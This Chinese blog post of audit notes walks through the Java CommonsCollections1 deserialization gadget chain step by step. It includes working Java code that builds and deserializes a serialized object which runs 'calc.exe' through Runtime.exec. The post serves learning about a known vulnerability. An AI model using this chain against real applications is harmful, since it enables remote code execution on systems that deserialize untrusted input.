首页 > 编程语言 >java-CC1 链条审计

java-CC1 链条审计

时间:2024-09-18 13:26:43浏览次数:1  
标签:Map java InvokerTransformer CC1 class 链条 new Runtime Class

java-CC1 链条审计

CC1 是 CommonsCollections1 的简称,它是 Apache Commons Collections 库中的一个已知的反序列化利用链。而这个库也是 java 中比较通用的库。在 java 语言里面有执行系统命令的Runtime类

像 php 中的 eval()、system()、exec()、shell_exec()、assert()、passthru()、escapeshellcmd()、pcntl_exec()等命令执行函数相似

CC1 调用链条

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
     ChainedTransformer.transform()
     ConstantTransformer.transform()
        Map().setValue()
    		Entry.setValue()
    		TransformedMap.checkSetValue()
              InvokerTransformer.transform()
                    Method.invoke()
                    Runtime.exec()

终点发现

InvokerTransformer

InvokerTransformer 类中有一个 transform 方法,他在方法里面对 传入的参数 进行了反射,运行了方法。

image-20240917162213875

让我们来运行下边代码,看一下这个重点是否是可以运行命令的

public class ApacheCC1 {
    public void testInvoker(){

        Runtime runtime = Runtime.getRuntime();
        Object[] args = new Object[]{"calc.exe"};
        String methodName = "exec";
        Class[] paramType = new Class[]{String.class};
        InvokerTransformer transformer = new InvokerTransformer(methodName,paramType,args);
        transformer.transform(runtime);
    }
    public static void main(String[] args) throws Exception {
        ApacheCC1 a = new ApacheCC1();
        a.testInvoker();

    }
}

通过向 InvokerTransformer 传入反射的 Runtime 类,可以看到,我们成功打开了我们电脑上的计算器。

image-20240917162854899

这就说明了这个反序列的终点是可用的。

找到了终点,我们通过 idea 的功能去寻找看看有没有可控的参数调用这个终点函数 tansform() 方法

TransformedMap

我们已经知道了 CC1 链条的结果,就不必再去复审可能的结果,直接看链条构成的函数 TransformedMap.checkSetValue() 方法

image-20240917202806791

接着查看 checkSetValue() 是谁再调用

image-20240917203634663

发现就这一个结果 MapEntrysetValue() 在调用,我们可以写段代码来验证这个 SetValue() 方法是否可以执行命令。

  • 当然我们在创建 TransformedMap 类时发现,它的构造方法是 protected,也就是不能直接 new()出这个对象

image-20240917204809217

  • 我们在本类里查看,有没有方法调用了这个构造方法,可以借助其他方法帮我们完成实例化 TransformedMap

image-20240917204956065

看到 decorate() 这个 public 的方法调用了 TransformedMap 的构造方法

用下面这段代码,检验这个方法是否可以调用

public void test02()  {
    System.out.println("正在运行");
    Runtime runtime = Runtime.getRuntime();
    Object[] args = new Object[]{"calc.exe"};
    String methodName = "exec";
    Class[] paramType = new Class[]{String.class};
    InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);
    Transformer valueTrans = transformer;
    Map map = new HashMap();
    map.put(1,1);
    Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);
    for(Map.Entry entry : transformed.entrySet()) {
        entry.setValue(runtime);
    }
}

运行,成功打开了计算机

image-20240917210216161

注意:这里之所以会去继续找上层的 MapEntrysetValue() 方法,是因为我们通过 TransformedMap.decorate() 方法获取的对象是 Map 类,而 Map 类是 TransformedMap 的父类,他不能调用子类的 checkSetValue() 方法,无法使链条闭环

起点

AnnotationInvocationHandler

在 JDK 的内置对象中 sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject() 方法调用了 setValue() 方法

readObject() 就是反序列化自动执行的代码。

image-20240918101922215

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

可以看到这段代码在第 26 行调用了 setValue() 方法,但是我们仍然遇到了问题

  • 要满足 if 语句中 memberType != null!(memberType.isInstance(value) ||value instanceof ExceptionProxy) 的判断,让代码可以自动执行到 setValue() 方法
  • setValue() 方法的参数得换成 RunTime 对象

尝试调试运行以下代码

public class ApacheCC1 {
    public void test03() throws Exception {
        Runtime runtime = Runtime.getRuntime();

        Object[] args = new Object[]{"calc.exe"};
        String methodName = "exec";
        Class[] paramType = new Class[]{String.class};
        InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);
        Transformer valueTrans = transformer;
        Map map = new HashMap();
        map.put("value","1");
        Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);
        // for(Map.Entry entry : transformed.entrySet()) {
        //     entry.setValue(runtime);
        // }
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(SuppressWarnings.class,transformed);
        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);

    }
    public void unserializeCC1() throws Exception {
        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        System.out.println("运行完成");
    }

    public static void main(String[] args) throws Exception {
        ApacheCC1 a = new ApacheCC1();
       
        a.test03();
        a.unserializeCC1();
    }
}

可以看到,我们的链条已经满足了 if 语句里的判断,进入了

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
    memberValue.setValue(
        new AnnotationTypeMismatchExceptionProxy(
            value.getClass() + "[" + value + "]").setMember(
            annotationType.members().get(name)));
}

但是我们 setValue() 方法的参数是无效的参数

这时候就巧妙地用到了 constantTransformer.transform() 方法,因为这个方法不管参数是什么,他最终都只会返回 iConstant 对象,我们把这个类里的 iConstant 赋值为 Runtime 对象,就可以使链条闭环

image-20240918122847125

但是这样我们在传入参数的时候又遇到了一个问题

  • 就是我要传入两个有 transform() 方法的类 constantTransformerInvokerTransformer

这时候我们就看到了 ChainedTransformertransform() 方法,他是在遍历对象的 transform() 方法

image-20240918123654010

这就允许我们的 CC1 链条完全闭环

最终代码

public class ApacheCC1 {
    public void CC1() throws Exception {

        Map map = new HashMap();
        map.put("value","1");
        // ConstantTransformer返回Runtime
        ConstantTransformer constantTrans = new ConstantTransformer(Runtime.class);

        // 反射出Runtime
        Transformer[] transformed_arry = new Transformer[]{
            constantTrans,
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        // ChainedTransformer循环调用transform()方法
        ChainedTransformer chainedTrans = new ChainedTransformer(transformed_arry);

        // 实例化传入ChainedTransformer对象
        Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTrans);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(SuppressWarnings.class,transformed);
        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);

    }
    public void unserializeCC1() throws Exception {
        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        System.out.println("运行完成");
    }
    public static void main(String[] args) throws Exception {
        ApacheCC1 a = new ApacheCC1();
        a.CC1();
        a.unserializeCC1();
    }
}

总结

我过程写的很简洁,因为我们在上帝视角来看这条链条,没有真正审计时候的迷茫和一些心理的煎熬。

而笔记的主要作用也是帮助我们可以串思路,能够想起这个链条的几个转折点够了

  • MapEntry 的 setValue()方法,因为``TransformedMap.decorate()方法获取的对象是Map类,而Map类是TransformedMap的父类,他不能调用子类的checkSetValue()`方法
  • 寻找起点时的 ChainedTransformer.transform() ==> ConstantTransformer.transform() ==> InvokerTransformer的窍门利用
  • Runtime类反射传入InvokerTransformer,应为Runtime类不能被序列化

标签:Map,java,InvokerTransformer,CC1,class,链条,new,Runtime,Class
From: https://www.cnblogs.com/LINGX5/p/18418308

相关文章

  • Java 8 新特性:Lambda 表达式与函数式接口全面解析(OOF(面向函数编程))
    在Java8中,引入了一系列重要的新特性,极大地提升了开发者的编程体验和代码简洁性。其中,Lambda表达式和函数式接口是最具影响力的特性,尤其在推动Java进入函数式编程领域方面具有里程碑意义。本文将全面深入地讨论Lambda表达式、函数式接口(包括Java内置函数式接口与自......
  • Java主流锁
    1.乐观锁VS悲观锁对于同一个数据的并发操作,悲观锁认为自己在使用数据的时候一定有别的线程来修改数据,因此在获取数据的时候会先加锁,确保数据不会被别的线程修改。Java中,synchronized关键字和Lock的实现类都是悲观锁。而乐观锁认为自己在使用数据时不会有别的线程修改......
  • zblog提示“JavaScript加载失败”的原因和解决办法
    当您在使用Z-Blog时遇到“JavaScript加载失败”的提示,这通常表明浏览器在加载某个或某些JavaScript文件时遇到了问题。以下是一些可能的原因及相应的解决方法:1.浏览器版本过低问题描述:使用的浏览器版本过低,不支持某些JavaScript功能。解决方法:升级到最新版本的浏览......
  • 基于java手机游戏(堡垒)的设计与开发的计算机毕设源码+论文
    手机游戏(堡垒)的设计与开发摘要随着手机业务的迅速发展,手机游戏逐渐成为移动增值服务的兴奋点。本毕业设计就着眼于J2ME技术的应用,设计与开发一款探险类手机游戏(堡垒)。该堡垒游戏是基于J2ME开发的手机RPG游戏,采用midp2.0技术实现了菜单、地图、主角动作及怪物动作和AI等,主要通过精......
  • Java结合WebSocket 实现简单实时双人协同 pk 答题
    引入实现过程WebSocket后端1、实体类2、异常处理类3、游戏状态枚举类4、ws主类5、配置类及工具类引入引入与技术选型:在实时互动应用中,实现流畅的多人协同对战功能是一大挑战。WebSocket技术,以其全双工通信能力,提供了解决方案。不同于传统HTTP请求的短连接,WebSocket建立持久连接,极......
  • Java之线程篇四
    目录volatile关键字volatile保证内存可见性代码示例代码示例2-(+volatile)volatile不保证原子性synchronized保证内存可见性wait()和notify()wait()方法notify()理解notify()和notifyAll()wait和sleep的对比volatile关键字volatile保证内存可见性volatile修饰......
  • Java.lang.CloneNotSupportedException 不支持克隆异常
    java.lang.CloneNotSupportedException是Java中表示一个对象无法被克隆的异常。在Java中,对象的克隆是通过实现Cloneable接口和重写Object类中的clone()方法来完成的。如果一个类没有实现Cloneable接口,并且尝试调用其clone()方法,那么就会抛出CloneNotSupportedExcep......
  • Java调用Apache commons-text求解字符串相似性
    前言    在之前的一篇漂亮国的全球的基地博客中,我们曾经对漂亮国的全球基地进行了一些梳理。博文中使用的数据来源,重点是参考以为博主分享的KML的数据,同时针对其国内的基地部署信息,我们从互联网百科的数据中搜寻到一些。其实拿到这两份数据的时候,是存在一些问题的,比如,KML的......
  • 【编程底层原理】Java执行CAS后底层由谁执行cmpxchg指令?CPU?是否会导致从用户态切换
    Java中的CAS操作是由Java虚拟机(JVM)提供的原子类实现的,这些原子类利用了底层硬件的CAS指令,比如x86架构中的cmpxchg指令。以下是这个过程的一些关键点:原子类封装:Java的java.util.concurrent.atomic包提供了一系列的原子类,如AtomicInteger、AtomicLong等,它们封装了CAS操作,使得......
  • Java客户端SpringDataRedis(RedisTemplate使用)
    文章目录⛄概述⛄快速入门❄️❄️导入依赖❄️❄️配置文件❄️❄️测试代码⛄数据化序列器⛄StringRedisTemplate⛄RedisTemplate的两种序列化实践方案总结⛄概述SpringData是Spring中数据操作的模块,包含对各种数据库的集成,其中对Redis的集成模块就叫做SpringDataRedis,......